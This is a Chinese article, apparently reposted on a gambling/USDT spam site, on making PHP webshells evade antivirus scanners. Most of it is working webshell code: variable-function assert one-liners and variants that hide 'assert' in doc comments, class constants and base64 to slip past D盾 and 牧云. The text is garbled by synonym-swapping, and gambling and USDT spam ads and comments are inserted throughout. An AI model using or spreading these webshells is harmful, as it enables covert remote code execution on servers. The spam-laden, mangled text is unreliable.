前言

webshell对于渗透测试者来说是既是一种竣事也是一种最先;一个免杀的webshell是我们在渗透测试过程中能否拿到目的权限的一个“条件”,首先webshell需要存活,其次是否能够执行下令,最后我们使用webshell管理工具时流量是否被阻挡。以是免杀至关重要。

我的第一个一句话木马

很新鲜,我学习平安接触的的第一个一句话木马就是它:$_GET[1]($_POST[2]);,而且令我印象深刻。那时不太明白这个是由于PHP太天真了,没想到另有这种写法:

$a = 'assert';
$a();

这个木马和上面的例子一样,是一种可变函数,$_GET[1]写为字符串assert$_POST[2]写为下令phpinfo()

  • 值得一提的是assert和eval:
    手册写到eval()不是一个函数而是一个语言组织器,以是不能被可变函数挪用;eval() 把字符串根据 PHP 代码来盘算。该字符串必须是正当的 PHP 代码,且必须以分号末端
    而assert()是一个函数,以是它相比eval天真许多,可以被可变函数挪用,也可以被回调函数来挪用。
    ,, 思索
    我们通过webshell执行下令,是通过我们可控的参数来到达目的,而上面的一句话木马我们可控的部门为POST和GET参数。只要稍作改变就可以绕过D盾的检测

    <?php
    foreach (array('_GET') as $_request) {
      foreach ($$_request as $_key=>$_value) {
          $$_key =  $_value;
          $_key($_value);
      }
    }
    

    usdt支付接口(caibao.it):Webshell免杀的思索与学习 安全技术 WEB安全 第1张

  • 可以看到这里并没有到达免杀效果

usdt支付接口(caibao.it):Webshell免杀的思索与学习 安全技术 WEB安全 第2张

  • 接下来我又写了一个正常的类与函数,再次扫描发现D盾已经检测不出来了

usdt支付接口(caibao.it):Webshell免杀的思索与学习 安全技术 WEB安全 第3张

从可变函数的例子我们可以受到一些启发,通过翻阅PHP手册中的反射部门,我们可以获得一些可以行使的函数

少见的函数

获取注释

PHP中有这样一个函数,它可以获取php注释的内容
public ReflectionClass::getDocComment( void) : string
某些查杀引擎在查杀的时刻,会做类似于编译器的优化,去掉我们所写的注释。究竟注释是不能运行的,若是我们将参数通过非常规的方式传输进来,这样或许可以绕过一些查杀引擎呢。我们知道,平安狗查形,D盾查参,就拿D盾来试一试。

<?php

/**
* YXNzZXJ0YWE=
*/
class Example
{
    public function fn()
    {
    }
}

$reflector = new ReflectionClass('Example');

$zhushi = substr(($reflector->getDocComment()), 7, 12);
$zhushi = base64_decode($zhushi);
$zhushi = substr($zhushi, 0, 6);
//
foreach (array('_POST','_GET') as $_request) {
    foreach ($$_request as $_key=>$_value) {
        $$_key=  $_value;
        print_r($$_request);
    }
}
$zhushi($_value);

usdt支付接口(caibao.it):Webshell免杀的思索与学习 安全技术 WEB安全 第4张

,

电银付

电银付(dianyinzhifu.com)是官方网上推广平台。在线自动销售电银付激活码、电银付POS机。提供电银付安装教程、电银付使用教程、电银付APP使用教程、电银付APP安装教程、电银付APP下载等技术支持。面对全国推广电银付加盟、电银付大盟主、电银付小盟主业务。

,

获取界说过的一个常量

public ReflectionClass::getConstants(void) : array
获取某个类的所有已界说的常量,不管可见性若何界说。

class Test
{
    const a = 'As';
    const b = 'se';
    const c = 'rt';

    public function __construct()
    {
    }
}
$para1;
$para2;
$reflector = new ReflectionClass('Test');

for ($i=97; $i <= 99; $i++) {
    $para1 = $reflector->getConstant(chr($i));
    $para2.=$para1;
}

foreach (array('_POST','_GET') as $_request) {
    foreach ($$_request as $_key=>$_value) {
        $$_key=  $_value;
    }
}

$para2($_value);

usdt支付接口(caibao.it):Webshell免杀的思索与学习 安全技术 WEB安全 第5张

获取一组常量

public ReflectionClass::getConstants(void) : array
获取某个类的所有已界说的常量,不管可见性若何界说。

<?php

class Test
{
    const a = array(1=>'aS',2=>'se',3=>'rT');

    public function __construct()
    {
    }
}

$refl = new ReflectionClass('Test');

foreach ($refl->getConstants() as $key => $value) {
    foreach ($value as $key => $value1) {
        $value2.=$value1;
    }
}
foreach (array('_POST','_GET') as $_request) {
    foreach ($$_request as $_key=>$_value) {
        $$_key=  $_value;
    }
}
$value2($_value);

usdt支付接口(caibao.it):Webshell免杀的思索与学习 安全技术 WEB安全 第6张

类与继续

P牛的《PHP动态特征的捕捉与逃逸》中提到了一个点,

usdt支付接口(caibao.it):Webshell免杀的思索与学习 安全技术 WEB安全 第7张

除了PPT里提到的trick,还能想到什么呢?

  • 面向对象中,类能够继续类的属性与方式。或许可以从这两个点入手,由于测试绕过了"牧云",就暂时不放出来效果了。
    至于为什么可以绕过:我的料想是这个函数不在黑名单中,语法分析不够完善,引擎以为我们的vuln代码并不能执行。

usdt支付接口(caibao.it):Webshell免杀的思索与学习 安全技术 WEB安全 第8张

建立类的实例

public ReflectionClass::newInstance( mixed $args[, mixed $...] ) : object
简朴地说,这个方式可以建立一个类的实例,同时该函数通报的参数会通报到该类的组织函数
需要注重的是,该方式传参和call_user_func()相似,不能使用引用类型传参,若是要使用引用类型使用另一个方式newInstanceArgs

class Test1
{
    public function __construct($para)
    {
        //assert
    }
}

$class1 = new ReflectionClass("Test1");
$para = '';
//可控的$para
$class2 = $class1->newInstance($para);

基本的框架就是这样了,对框架举行变形也可绕过"牧云"。

usdt支付接口(caibao.it):Webshell免杀的思索与学习 安全技术 WEB安全 第9张


Allbet Gaming声明:该文看法仅代表作者自己,与本平台无关。转载请注明:usdt支付接口(caibao.it):Webshell免杀的思索与学习
发布评论

分享到:

usdt钱包支付(www.caibao.it):为什么现在家长带孩子总会以为累?五个缘由,你们是否具备
2 条回复
  1. 皇冠APP下载
    皇冠APP下载
    (2021-01-23 00:03:31) 1#

    埃文斯已经被控一项罪名,即未经正当授权明知而进入或停留在任何受限制的建筑物或园地,以及一项在国会大厦内暴力入室和妨害治安的罪名。我轻轻地来了

    1. 新2会员手机管理端
      新2会员手机管理端
      (2021-04-06 05:29:56)     

      USDT线下交易

      U交所(www.usdt8.vip),全球頂尖的USDT場外擔保交易平臺。

      字字珠玑

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。